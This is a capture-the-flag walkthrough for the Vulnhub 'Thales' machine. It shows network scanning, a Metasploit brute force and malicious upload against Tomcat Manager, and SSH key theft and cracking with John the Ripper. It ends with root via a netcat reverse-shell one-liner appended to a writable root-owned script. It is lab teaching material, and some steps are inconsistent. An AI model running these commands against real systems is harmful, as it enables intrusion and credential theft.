Thales1 Vulnhub Walkthrough

"Thales" is a Capture the Flag challenge available on Vulnhub. MachineBoy deserves credit for developing this box. In this box, we will learn how to exploit a vulnerability in the Tomcat Application Manager instance to gain access to the system and we will also learn how to exploit a script running with root privileges to gain root access. So, let us see how to solve this machine in the proper steps.

Download Thales from here

Level: Easy (For Beginners)

Methodology:

Network scanning

·         netdiscover

·         Nmap

Enumeration

·         Abusing HTTP

Exploitation

·         Metasploit

·         John the Ripper

Privilege Escalation

·         Reverse shell script

·         Capture the Flag

 

Network Scanning

Initially, we will scan the network to find the Victim machine IP using the netdiscover command.

netdiscover

 

We find that the Victim machine has the IP address as 192.168.1.175



 

Nmap

Further, we ran an aggressive scan (-A) for open port enumeration where we found the following port details:

nmap -A 192.168.1.175

According to the Nmap output, we get

·         on port 22 SSH server running (OpenSSH)

·         on port 8080 HTTP service running (Apache tomcat)

 



Enumeration

Abusing HTTP

Now let's see if we can get any interesting information from port 8080. Because the Apache Tomcat Server is running on port 8080, we can see the result right away in the browser.

We note the Tomcat version number: 9.0.52

URL: http://192.168.1.175:8080

 



Exploitation

Metasploit

Now, let’s start msfconsole. We will be using the auxiliary scanner to bruteforce tomcat manager login.

msfconsole -q

use auxiliary/scanner/http/tomcat_mgr_login

set rhosts 192.168.1.175

set username tomcat

set verbose false

exploit

as result the password of tomcat that we get is tomcat:role1

 



As we enumerated Tomcat Manager Login creds thus we can try reverse connection by injecting malicious Java payload. We will use this exploit to get a meterpreter shell.

use exploit/multi/http/tomcat_mgr_upload

set rhosts 192.168.1.175

set rport 8080

set httpusername tomcat

set httppassword role1

exploit

 

After getting the meterpreter shell we navigate to the ‘home’ directory and there we can find a sub-directory named ‘thales’. Entering the ‘thales’ directory we get two files: user.txt and notes.txt. We also find a .ssh directory.

cd /home

ls

cd thales

ls


We observe that the public key (id_rsa.pub) and the private key(id_rsa) are present on the victim machine. The private key is used to login. So now we proceed to download the private key onto our kali machine.

cd .ssh

ls

download id_rsa /root/Desktop

 



John the Ripper

Now, we need to convert the id_rsa key into a hash which can be cracked using ‘john’. First, we use the command ‘ssh2john’ to convert the key into a hash.

locate ssh2john

/usr/share/john/ssh2john.py id_rsa > sshhash

 



Now we can attempt to crack the hash with john the ripper. We will use the wordlist ‘rockyou.txt’.

john –wordlist=/usr/share/wordlists/rockyou.txt sshash

 

Hash is cracked and we get the password: vodka06  




On a new tab, we ssh into the machine using the username: tomcat and password: role1

ssh tomcat@<victim_ip> 

 

 

After we get a shell, we will upgrade our non-interactive shell to a partially interactive one using the following command:

python -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

Reverse shell script  

Since we have cracked the password of user ‘thales’, let’s switch to the thales user.

su thales

 

After switching to thales user, we use the command “id” to know about the real and effective ‘user and group’ IDs. We find that thales is a non-root user.

 

We now use “ sudo -l “ to check which commands can be run as root by the user thales.

sudo -l

 

We find that user thales does not have the ability to run any command as root.

So now we navigate around in search of some interesting files.

 

We get a hint on note.txt that a backup script is prepared for us in the directory /usr/local/bin/backup.sh

 



Now, let’s go and check the backup.sh file. We investigate and find that this file has read, written, and execute permissions and the file is owned by the root.

cat /usr/local/bin/backup.sh

ls -la /usr/local/bin/backup.sh

 


 

So this means we can replace the script with a reverse shell and expect to get root shell access.

 

On our attacking machine ( kali ) we will start a Netcat listener to receive the shell, on port 8888

nc -lvp 8888

 

We proceed to replace the script in backup.sh with a reverse shell as shown below:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.3 8888 >/tmp/f" >>backup.sh

 



As soon as we run the script backup.sh, we receive shell on our Netcat listener. As expected the shell we received is a root shell and in the end, we proceed to capture the root flag.  

Capture the root flag

Id

cd /root

ls

cat root.txt


0 comments:

Post a Comment